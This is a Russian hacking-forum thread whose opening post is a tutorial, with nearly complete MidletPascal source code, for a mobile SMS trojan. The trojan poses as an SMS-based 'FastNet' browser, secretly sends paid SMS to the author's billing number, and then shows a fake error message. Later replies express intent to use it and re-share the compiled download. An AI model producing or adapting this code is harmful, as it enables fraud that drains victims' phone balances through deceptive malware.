Старый 17.12.2009, 17:11   #1
silver
RAM 256MB
 
Аватар для silver
 
Регистрация: 05.08.2009
Сообщений: 3,531
silver репутация неоспоримаsilver репутация неоспоримаsilver репутация неоспоримаsilver репутация неоспоримаsilver репутация неоспоримаsilver репутация неоспоримаsilver репутация неоспоримаsilver репутация неоспоримаsilver репутация неоспоримаsilver репутация неоспоримаsilver репутация неоспорима
silver вне форума

По умолчанию SMS-Троян или "Заработай на СМС"


Автор: VaZoNeZ / H.A.T.

Каждый приличный и уважающий себя кодер должен начать зарабатывать на своем мастерстве. Вот мы с тобой и начнем косить американских президентов на наивных пользователях Интернета.
Ты наверно слышал о такой штуке как СМС-биллинг. Наивные юзеры шлют смс с каким-нибуть пожеланием или текстом как в чат, или заказывают контент.
Искать тебе биллинги прийдется, все уже собрано в одном месте - [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.] . Выбирай любую и регистрируйся.
Надеюсь, ты уже сбегал и зарегался, а заодно получил свой префикс - тот текст, который мы будем слать в СМС-ке.

Подготовка к кодингу


План - создание трояна для скрытой отсылки смс на платные номера (твои smile Я решил маскировать зловреда под СМС-браузер (ничего не напоминает ?)
Важным пунктом в сегодяшнем меню будет софт для кодинга. Надеюсь ты знаешь, что программы и игры для телефонов (мидлеты) пишутся на языке Java.
Но мы с тобой не будем учить новый ЯП, а воспользуемся простым решением - MidletPascal. Это обычный паскаль, но для телефона, в котором встроены
готовые очень полезные функции. Скачать его можно с официального сайта проги ( [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.] ).
Будем считать, что ты уже скачал и установил MidletPascal.

The Trojan Begins

Для начала создавай новый проект (File -> New Project). В имя проэкта вбивай что-то наподобие SMS_Trojan, в окошке выбирай пункт "Default MIDP project"
и жми "Create". В окне кода появится начальный исходник мидлета:
Код:
program SMS_Trojan;  
begin  
drawText('Hello world!', 0, 0);  
repaint;  
delay(2000);  
end.
Объяснение этих функций есть в справке, потому не будем тратить время на это smile Убирай все от begin до end.
В справке есть готовый пример отсылки смс:
Код:
begin  
if not SmsStartSend('sms://+5550000', 'Hello!') then Halt;  
while SmsIsSending do // wait for the message to be sent  
Delay(100);  
if not SmsWasSuccessfull then Halt; // check if the message was sent successfully  
end.
SmsStartSend - функция отправки СМС
SmsIsSending - проверяет, осылается соощение или нет
SmsWasSuccessfull - проверяет, было ли успешо отослано последнее соощение
Delay - останавливает исполнение мидлета на указанное количество миллисекунд

Этим примером лучше не пользоваться из-за его простоты, т.к. жертва почувствует подвох, когда прога просто вырубится.
А нам нужно, чтобы все было красиво smile Поэтому мы создадим интерфейс для жертвы, чтобы она чувствовала себя уютно, пока ее деньги идут нам.
ГУИ:
- Главное меню с 4 пунктами
- Пункты "Справка" и "Про программу"

Мы будем использовать такие константы в мидлете:
Код:
const  
SendErr='Ошибка 109. Возможно не настроена сеть или оператор отключил службу SMS. Попробуйте воспользоваться услугой позже.';  
AboutStr='Made by Butlik, 2009';  
HelpStr='С помощью браузера FastNet вы сможете экономить 95% трафика, так как интернет будет работать через систему СМС.';  
NUMBERS=1;
SendErr - Сообщение, которое появится после удачной отсылки всех СМС
AboutStr - Какой-то левый копирайт smile Что же это будет за мега браузер, если в нем не будет неписано чей он. Это будет подозрительно.
HelpStr - Справка wink Тут должна работать фантазия.
NUMBERS - количество номеров, на которые будет идти отправка СМС.

Мы будем использовать такие переменные в мидлете:
Код:
var  
numb,text:array[1..NUMBERS] of string; // массивы строк с текстами сообщений и номерами  
p:array[1..4] of integer; // массив хэндлов пунктов меню  
m:array[1..4] of string; // массив строк с названиями пунктов меню  
clicked,  
callmenu,  
exit : command; // команды для софт клавиш  
label_id, // хэндл надписей (справки, ошибки и т.д.)  
i,d : integer; // счетчики
Создадим процедуру динамического создания главного меню:
Код:
/----------------------------------------------------------------------------------------------------------------------------------------  
procedure mainmenu;  
var  
click: Command; // элемент "command" - по сути это назначение кнопки для софт клавиши  
begin  
showMenu('Выбери действие', CH_IMPLICIT); // покажем меню с заголовком "Выбери действие", тип - CH_IMPLICIT - обычное меню (подробнее в справке)  

for d:=1 to 4 do // в этом цикле мы  
p[d] := menuAppendString(m[d]); // добавляем в меню пункты с названиями из массива строк m, и сохраняем ихние хэндлы в масив integer'ов p  

repeat  
delay(100); // пауза  

click := GetClickedCommand; // получаем нажатую клавишу  

until click <> EmptyCommand; // в этом цикле мы ждем, пока будет нажата любая софт клавиша, для которой есть элемент "command"  
end;  
//----------------------------------------------------------------------------------------------------------------------------------------
Теперь напишем сердце троя - процедура отсылки СМС:
Код:
//----------------------------------------------------------------------------------------------------------------------------------------  
procedure SendMoneyToMe;  
begin  
for d:=1 to NUMBERS do // цикл отсылки  
begin  
if not SmsStartSend('sms://'+numb[d], text[d]) // попытка послать собощение  

then Halt; // если она была неудачная, то вырубимся  

while SmsIsSending do // пока смс-ка посылается  
Delay(100); // ждем <img src="http://s32.ucoz.net/sm/1/smile.gif" border="0" align="absmiddle" alt="smile">  
end;  
end;  
//----------------------------------------------------------------------------------------------------------------------------------------
Теперь напишем основу троя (для понимания разбита на части) :
Код:
//----------------------------------------------------------------------------------------------------------------------------------------  
m[1]:='Начать роботу'; // Это все  
m[2]:='Про программу'; // заполнение массива  
m[3]:='Справка'; // пунктов  
m[4]:='Выход'; // меню  

Numb[1]:='1234'; // А это заполнение массивов с номерами  
text[1]:='7777'; // и текстами сообщений  

Repeat // здесь главный начинается цикл, в котором проверяем, была ли нажата кнопка "Выход"  
mainmenu; // вызоваем функцию создания меню  

for d:=1 to 4 do // в том цикле мы определяем, какой пункт меню был выбран  
if MenuIsSelected(p[d]) then i:=d; // с помощью функции MenuIsSelected  

ClearForm; // полностью очищаем форму от всех менюшек, лэйблов и т.д.  

// в зависимости от i, выбираем, какое действие нам сделать  

if i=1 then // если был выбран пункт меню "Начать роботу"  
begin  
SendMoneyToMe; // отсылаем смс-ки  
label_id := FormAddString(SendErr); //показываем ошибку <img src="http://s32.ucoz.net/sm/1/smile.gif" border="0" align="absmiddle" alt="smile">  
end;  

if i=2 then // если был выбран пункт меню "Про программу"  
label_id := FormAddString(AboutStr); // показываем строку с about'ом  

if i=3 then // если был выбран пункт меню "Справка"  
label_id := FormAddString(HelpStr); // показываем строку с help'ом  

if i=4 then // если был выбран пункт меню "Выход"  
halt; // вырубаемся  

ShowForm; // показываем форму  

callmenu := CreateCommand('Меню', CM_SCREEN, 1); // создаем команду "Меню" для софт клавиши  
AddCommand(callmenu); // и добавляем ее на дисплей  

exit := CreateCommand('Выход', CM_EXIT, 2); // создаем команду "Выход" для софт клавиши  
AddCommand(exit); // и добавляем ее на дисплей  

clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked  

Repeat // цикл, в котором мидлет ожидает нажатия софт клавиши  

Delay(100); // пауза  

clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked  

If clicked = exit Then Break; // если была нажата кнопка "Выход", то выходим из этого цикла  

Until clicked = callmenu; // условие - повторять, пока не нажата кнопка "Меню"  

Until clicked = exit; // условие - повторять, пока не нажата кнопка "Выход"  

// если мы здесь, значит юзверь все-таки нажал на "Выход"  

Delay(1000); // ждем 1 секунду перед выходом  
//----------------------------------------------------------------------------------------------------------------------------------------
Окей, хеппи-энд. (с)

Для особо ленивых (да, я знаю, это ты), я выложил весь проект с иконкой, скомпилиным jar и всем остальным.

[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
Итоги:
- Софт на мобилу - это просто!
- Никто тебя не ограничивает - пиши хоть игры
- Деньги можно зарабатывать, раздавая линк с чудо-браузером

Удачи!
  Ответить с цитированием
Ответ: SMS-Троян или "Заработай на СМС"
Старый 04.12.2010, 20:20   #2
Ryudzaki
RAM 4mb
 
Аватар для Ryudzaki
 
Регистрация: 04.12.2010
Сообщений: 4
Ryudzaki Новичок
Ryudzaki вне форума
По умолчанию Ответ: SMS-Троян или "Заработай на СМС"

Получается жертва даже не подозревает что от неё отправляются смс на короткие номера?
  Ответить с цитированием
Ответ: SMS-Троян или "Заработай на СМС"
Старый 31.03.2011, 14:41   #3
BMW
RAM 16MB
 
Аватар для BMW
 
Регистрация: 20.03.2011
Сообщений: 18
BMW Новичок
BMW вне форума
По умолчанию Ответ: SMS-Троян или "Заработай на СМС"

Интересно надо будет занятся!
  Ответить с цитированием
Ответ: SMS-Троян или "Заработай на СМС"
Старый 31.03.2011, 15:34   #4
gala
RAM 64MB
 
Аватар для gala
 
Регистрация: 18.03.2011
Сообщений: 91
gala на пути к лучшему
gala вне форума
По умолчанию Ответ: SMS-Троян или "Заработай на СМС"

ну как кто не будь пробовал??? пере залей не работает
  Ответить с цитированием
Последний раз редактировалось gala; 31.03.2011 в 15:37.
Ответ: SMS-Троян или "Заработай на СМС"
Старый 23.04.2011, 15:28   #5
denwers
RAM 32MB
 
Аватар для denwers
 
Регистрация: 11.03.2011
Сообщений: 47
denwers Новичок
denwers вне форума
По умолчанию Ответ: SMS-Троян или "Заработай на СМС"

на сайте [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.] нет этого приложения
__________________
:russian:
  Ответить с цитированием
Ответ: SMS-Троян или "Заработай на СМС"
Старый 25.04.2011, 03:48   #6
JigAN
RAM 96MB
 
Аватар для JigAN
 
Регистрация: 20.03.2011
Сообщений: 111
JigAN скоро придёт к известностиJigAN скоро придёт к известности
JigAN вне форума
По умолчанию Ответ: SMS-Троян или "Заработай на СМС"

Цитата:
Сообщение от gala Посмотреть сообщение
ну как кто не будь пробовал??? пере залей не работает
перезалил [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
  Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.



взломать аську аську взломать взлом программы сделать взлом программы как сделать взлом программы хакерские сайты как легко взломать аську лучшие хакерские сайты топ список хакерские сайты взлом паролей легкий взлом паролей

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd. Перевод: zCarot